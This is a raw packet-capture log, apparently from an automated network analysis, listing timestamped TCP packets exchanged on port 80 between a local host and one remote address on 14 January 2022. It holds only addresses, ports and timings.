Jan 14, 2022 02:05:13.192589045 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.192620039 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192636967 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.192684889 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192720890 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192737103 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.192776918 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192816973 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192854881 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192872047 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.192902088 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.192926884 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.192964077 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193002939 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193042994 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193058968 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.193089008 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.193114996 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193154097 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193192005 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193229914 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193248987 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.193274975 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.193303108 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193341017 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193377018 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193414927 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193433046 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.193459988 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.193487883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193526030 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193563938 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193600893 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193614960 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.193649054 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.193671942 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193710089 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193749905 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193787098 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193804026 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.193833113 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.193877935 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193917990 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193957090 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.193994999 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194010019 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.194056988 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194067001 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.194107056 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194143057 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194179058 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.194200993 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194238901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194267988 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.194294930 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194333076 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194365978 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.194391966 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194428921 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194457054 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.194488049 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194526911 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194545031 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.194583893 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194619894 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194636106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.194675922 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194715977 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194768906 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194780111 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.194818974 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194855928 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194870949 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.194900990 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.194927931 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.194967985 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.195007086 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.195024014 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.195063114 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.195100069 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.195133924 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.195154905 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.195194006 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.195211887 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.195252895 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.195288897 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.195312023 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.195347071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.195385933 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.195425987 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.195442915 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.195477962 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.230212927 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.230654955 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.230725050 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.230767965 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.230807066 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.230844975 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.230850935 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.230880022 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.230899096 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.230937958 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.230976105 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.231014967 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.231024981 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.231044054 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.231055975 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.232459068 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.268286943 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.268533945 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.268619061 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.268888950 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.268990040 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269048929 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.269102097 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269140959 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269181013 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269208908 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.269273996 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269329071 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.269364119 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269401073 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269439936 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269460917 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.269495964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269534111 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269550085 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.269591093 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269629955 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269646883 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.269686937 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269725084 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269742012 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.269782066 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269819021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269834995 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.269901991 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269944906 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.269963026 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.270003080 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270042896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270071030 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.270103931 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270142078 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270170927 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.270198107 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270236969 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270279884 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270291090 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.270330906 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270365953 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.270390987 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270435095 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270445108 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.270483971 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270523071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270558119 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.270580053 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270618916 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270638943 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.270678997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270718098 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270759106 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270773888 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.270802021 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.270829916 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270869017 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270905972 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270920038 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.270960093 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.270998001 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271032095 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.271054983 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271091938 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271131039 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271146059 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.271177053 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.271204948 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271244049 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271281958 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271297932 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.271337032 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271375895 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271405935 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.271434069 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271472931 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271509886 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271528959 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.271568060 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271586895 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.271626949 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271665096 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271680117 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.271716118 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271748066 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271776915 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271819115 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271857977 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271895885 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271924973 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.271954060 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.271992922 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272021055 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.272041082 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.272062063 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272100925 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272116899 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.272156954 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272192955 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272208929 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.272250891 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272290945 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272320032 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.272347927 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272386074 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272423029 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272454023 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.272464037 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.272492886 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272530079 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272568941 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272593975 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.272628069 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272665024 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272682905 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.272721052 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272762060 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272802114 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272816896 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.272845984 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.272872925 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272911072 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272948027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.272964001 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.273001909 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.273040056 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.273060083 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.273096085 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.273132086 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.273171902 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.273201942 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.273212910 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.273241997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.273282051 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.273320913 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.273358107 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.273372889 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.273401976 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.273430109 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.273472071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.273534060 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.307264090 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307348967 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307390928 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307431936 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307468891 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307487965 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.307507038 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307547092 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307559013 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.307563066 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.307585001 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307624102 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307662010 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307666063 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.307699919 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307739973 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307754993 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.307779074 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307799101 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.307817936 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307856083 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.307873011 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.307895899 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.308020115 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.308522940 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.308563948 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.308604002 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.308882952 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.345427036 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345459938 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345488071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345514059 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345535040 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345557928 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345580101 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345601082 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345616102 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.345623016 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345645905 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345668077 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345690012 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345710039 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345731974 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345755100 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345757008 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.345766068 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.345777035 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345801115 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345801115 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.345824003 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345829964 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.345844984 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345890999 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345905066 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.345912933 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345935106 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345947981 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.345957041 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345980883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.345984936 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346002102 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346024036 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346044064 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346052885 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346065044 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346081972 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346087933 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346111059 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346127033 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346132994 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346155882 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346164942 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346177101 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346199036 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346215010 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346237898 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346242905 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346260071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346271038 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346282959 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346304893 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346326113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346333027 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346345901 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346348047 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346371889 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346376896 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346395016 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346416950 CET	80	49865	141.8.194.74	192.168.2.3
